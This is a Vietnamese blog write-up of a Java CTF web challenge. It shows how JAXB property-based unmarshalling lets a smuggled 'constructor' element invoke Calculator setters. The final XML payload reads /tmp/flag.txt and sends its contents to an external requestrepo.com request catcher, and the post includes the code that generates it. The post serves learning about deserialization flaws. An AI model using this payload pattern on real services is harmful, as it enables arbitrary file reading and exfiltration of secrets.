Try   HackMD

Cũng lâu rồi mình không viết blog về write up ctf, phần lớn là do mình solve khá muộn màng và hay phải đi học wu của người khác, và đây là cũng không phải là một ngoại lệ. Giải này được người anh refer là có bài java khá là hay nên mình cũng lọ mọ làm và xem sol của người khác trong kênh discord để phân tích. Đây là bài java ctf đầu tiên mà mình làm được ra flag nên mình muốn viết lại quá trình làm và tìm hiểu để sau này đọc lại cho nhớ hehe=)). Bắt đầu thoi

Đề bài

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Ukay, nhìn thấy sample request là có thể đoán được bài cho mình POST xml rùi :">
Đi vào từ phần đọc source đã, đề bài cho mình file war mà không cho file pom (set up lại code gen xml khá cay), mình sử dụng Inteliji để đọc file war.
Để có thể đọc được thì mình sẽ sử dụng 7-zip để extract file war ra một thư mục, và đọc thư mục đó bằng Inteliji là được:
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Bắt đầu tiến hành đọc source thui

Phân tích Source Code

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Challenge có 3 class thông tin và 1 file xử lý servlet request GET và POST. Trong đó class Calculator là class mang thông tin mà mình muốn khai thác, class Node là class có các element tương ứng trong xml POST request của mình, còn class Result sẽ chứa những element tương ứng trong xml response.
Đi vào từng class, mình đọc class Calculator đầu tiên:

public class Calculator {
    private String locationA;
    private String locationB;
    private String serverStatus;

    public Calculator() {
    }

    public void setLocationA(String a) {
        this.locationA = a;
    }

    public String getLocationA() {
        return this.locationA;
    }

    public void setLocationB(String locationFile) throws IOException {
        byte[] bytes = new byte[128];
        Path path = Paths.get(locationFile);
        InputStream inputStream = Files.newInputStream(path);
        inputStream.read(bytes);
        this.locationB = new String(bytes);
    }

    public String getLocationB() {
        return this.locationB;
    }

    public void setServerValidationCheck(String location) throws IOException {
        URL test = new URL(location + "?leaderLocation=" + URLEncoder.encode(this.locationB) + "&nodeLocationA=" + URLEncoder.encode(this.locationA));
        HttpURLConnection connection = (HttpURLConnection)test.openConnection();
        connection.connect();
        this.serverStatus = String.valueOf(connection.getResponseCode());
    }

    public String getServerValidationCheck() {
        return this.serverStatus;
    }

    public String calculateDistance() {
        return String.valueOf(calculateBinaryDistance(this.locationA, this.locationB));
    }

    public static int calculateBinaryDistance(String str1, String str2) {
        return (int)IntStream.range(0, str1.length()).filter((i) -> {
            return str1.charAt(i) != str2.charAt(i);
        }).count();
    }
}
  • Class nhận có 3 giá trị bên trong: locationA, locationB và serverStatus. Mình đặc biệt chú ý đến phương thức setLocationB khi có vẻ nó sẽ đọc nội dung của file với input là đường dẫn đến file (sus)
  • Tiếp đến là phương thức setServerValidationCheck, nó nhận vào input là đường dẫn URL, truyền vào URL đó param leaderLocation với giá trị là kết quả của phương thức setLocationB -> nội dung file, và biến nodeLocationA chứa giá trị của locationA. Sau đó truy cập đến địa chỉ URL đó bằng HttpURLConnection.openConnection().connect(), cuối cùng là trả về status code khi truy cập đến URL đó
  • Phương thức calculateDistance chỉ đơn giản gọi đến một phương thức khác là calculateBinaryDistance, ở đây input của hàm 2 string, nó sẽ đếm các ký tự khác nhau giữa 2 string (mình thấy phương thức này không có ý nghĩa để mình có thể exploit lắm)

Class Node:

@XmlAccessorType(XmlAccessType.PROPERTY)
@XmlRootElement(
    name = "Node"
)
public class Node {
    private String location;

    public Node() {
    }

    public void setConstructor(Object Node) {
    }

    public Object getConstructor() {
        return null;
    }

    @XmlElement(
        name = "location"
    )
    public void setLocation(String location) {
        this.location = location;
    }

    public String getLocation() {
        return this.location;
    }
}
  • Mở đầu thì ta thấy việc khai báo RootElement là Node, bên trong có XMLElement location, giờ ta hiểu vì sao lại có sample request trên ròi hehe
  • Thứ làm mình chú ý là phương thức setConstructor nhận một object Node mà không làm gì cả, và phương thức getConstructor lại return null, việc nhận một object này nếu như ta truyền thêm một object vào đây thì không biết marshaller sẽ xử lý ra shao
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →

Tiếp đến mình muốn chú ý đến cách thức server xử lý request POST:

try {
    JAXBContext calcContext = JAXBContext.newInstance(new Class[]{Node.class, Calculator.class, Result.class});
    Marshaller marshaller = calcContext.createMarshaller();
    Unmarshaller unmarshaller = calcContext.createUnmarshaller();
    Node node = (Node)unmarshaller.unmarshal(reader);
    calculator.setLocationA(node.getLocation());
    calculator.setLocationB("/tmp/location.txt");
    calculator.setServerValidationCheck("http://localhost:8080/NodeCalculator/nodeCalc");
    if (!calculator.getServerValidationCheck().equals("200")) {
        result.setResult("Leader location doesn't exist");
    } else {
        result.setResult(calculator.calculateDistance());
    }
    marshaller.marshal(result, out);
} 
catch (Exception var11) {
    out.println("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><result><result>-1</result></result>");
}

Server gọi đến class JAXBContext và 2 interface Marshaller và Unmashaller để thực hiện việc xử lý convert object sang xml và ngược lại.
Trong đoạn code trên, unmarshaller thực hiện phương thức unmarshall lên xml mình gửi, ép kiểu về kiểu Node và ta có object node chứa thông tin về location mình POST.
Sau đó mình có object calculator nhận giá trị locationA là giá trị location của node. LocationB được hard code là /tmp/location.txt, ngoài ra giá trị truyền vào phương thức setServerValidationCheck cũng được gán luôn là http://localhost:8080/NodeCalculator/nodeCalc. Nếu như phương thức trả về kết quả là 200 (server status) thì ta sẽ trả về kết quả là của một phương thức khác là calculateDistance. Marshaller gọi đến phương thức marshal để dùng kết quả đó chuyển object result về dạng xml trả về cho mình trong response.
Quan sát Dockerfile mình biết được flag được đưa vào /tmp/flag.txt

FROM tomcat:jre11

RUN rm -rf /usr/local/tomcat/webapps/* ; \
    rm -rf /usr/local/tomcat/work/Catalina/localhost/* ; \
    rm -rf /usr/local/tomcat/conf/Catalina/localhost/*

RUN chmod -R 400 /usr/local/tomcat/conf

ADD NodeCalculator.war /usr/local/tomcat/webapps/

COPY ./flag.txt /tmp/
COPY ./location.txt /tmp/

EXPOSE 8080

CMD ["catalina.sh", "run"]

Phương hướng giải quyết

Tổng hợp lại thông tin thì mình thấy được là mình có một class Node hiện tại thiếu phần constructor, đặc biệt là việc constructor nhận một Object, object node chỉ nhằm việc cấp giá trị của locationA cho class calculator, việc xử lý sẽ nằm hoàn toàn ở class calculator.
Ở class calculator, mình thấy nếu control được giá trị locationB thì có thể thực hiện Arbitary File Read. Việc server gửi request đến URL truyền vào phương thức setServerValidationCheck với giá trị leaderLocation là nội dung file cũng làm mình nghĩ đến việc nếu như control được giá trị truyền vào hoàn toàn có thể lấy nội dung file bằng các web request catcher
Tuy nhiên mình chỉ control được object Node, còn đâu object Calculator đã được hard code sẵn rồi. Mình đã rất bí khi đến bước này, và sau khi xem solution thì mình không hiểu thanh niên kia móc đâu ra được con thẻ constructor =)). Và mình chợt nhận ra là constructor của Node mình có thể can thiệp và nhét thêm một object calculator trước khi tiến hành convert sang xml.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Câu hỏi đặt ra giờ là tại sao thẻ constructor này bypass được việc gán tĩnh 2 giá trị của object calculator, thì người solve cũng đã giải đáp như sau: Class Node được khai báo @XmlAccessorType(XmlAccessType.PROPERTY) sẽ khiến cho tất cả các setter được gọi ra trong quá trình deserialization. Nếu như có sự xuất hiện của tag constructor trong xml của calculator, khi trigger đến object calculator nó sẽ gọi đến các setter, từ đó lưu các giá trị của mình vào được object
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Khai Thác

Mọi thứ cũng đã rõ ràng, vậy thì mình sẽ cần phải sửa chút code để gen ra một cái xml có chứa các tag như kia:
Sửa lại class Node với việc thêm một giá trị kiểu object và sửa lại 2 phương thức get/setConstructor

@XmlAccessorType(XmlAccessType.PROPERTY)
@XmlRootElement(
        name = "Node"
)
public class Node {
    private String location;
    private Object node;

    public Node() {
    }

    public void setConstructor(Object Node) {
        this.node = Node;
    }

    public Object getConstructor() {
        return node;
    }

    @XmlElement(
            name = "location"
    )
    public void setLocation(String location) {
        this.location = location;
    }

    public String getLocation() {
        return this.location;
    }
}

Khi xử lý request, mình gán object calculator vào phương thức setConstructor trước khi đưa object Node về dạng xml:

public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
    response.setContentType("text/xml");
    PrintWriter out = response.getWriter();
    try {
        JAXBContext calcContext = JAXBContext.newInstance(Node.class, Calculator.class, Result.class);
        Marshaller marshaller = calcContext.createMarshaller();
        Node node = new Node();
        Calculator calculator = new Calculator();
        calculator.setLocationA("1");
        calculator.setLocationB("D:\\CTF\\2024\\braekerCTF 2024\\nodecalculator\\flag.txt");
        calculator.setServerValidationCheck("http://9vja3pan.requestrepo.com");
        node.setConstructor(calculator);
        node.setLocation("1");
        marshaller.marshal(node, out);
    }
    catch (Exception e) {
        out.println("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><result><result>-1</result></result>");
    }
}

Có thể thấy việc setup XML đã thành công, và mình cũng đọc được file flag local

image
Mình có mẫu xml để solve bài này như sau:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><Node>
    <constructor xsi:type="calculator" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    <locationA>1</locationA>
    <locationB>/tmp/flag.txt</locationB>
<serverValidationCheck>http://9vja3pan.requestrepo.com</serverValidationCheck>
    </constructor>
    <location>1</location>
</Node>

Gửi đi request POST:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Lụm flag
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Flag: brck{Y0u_Pay3d_Att3nt10n_In_Cl4ss}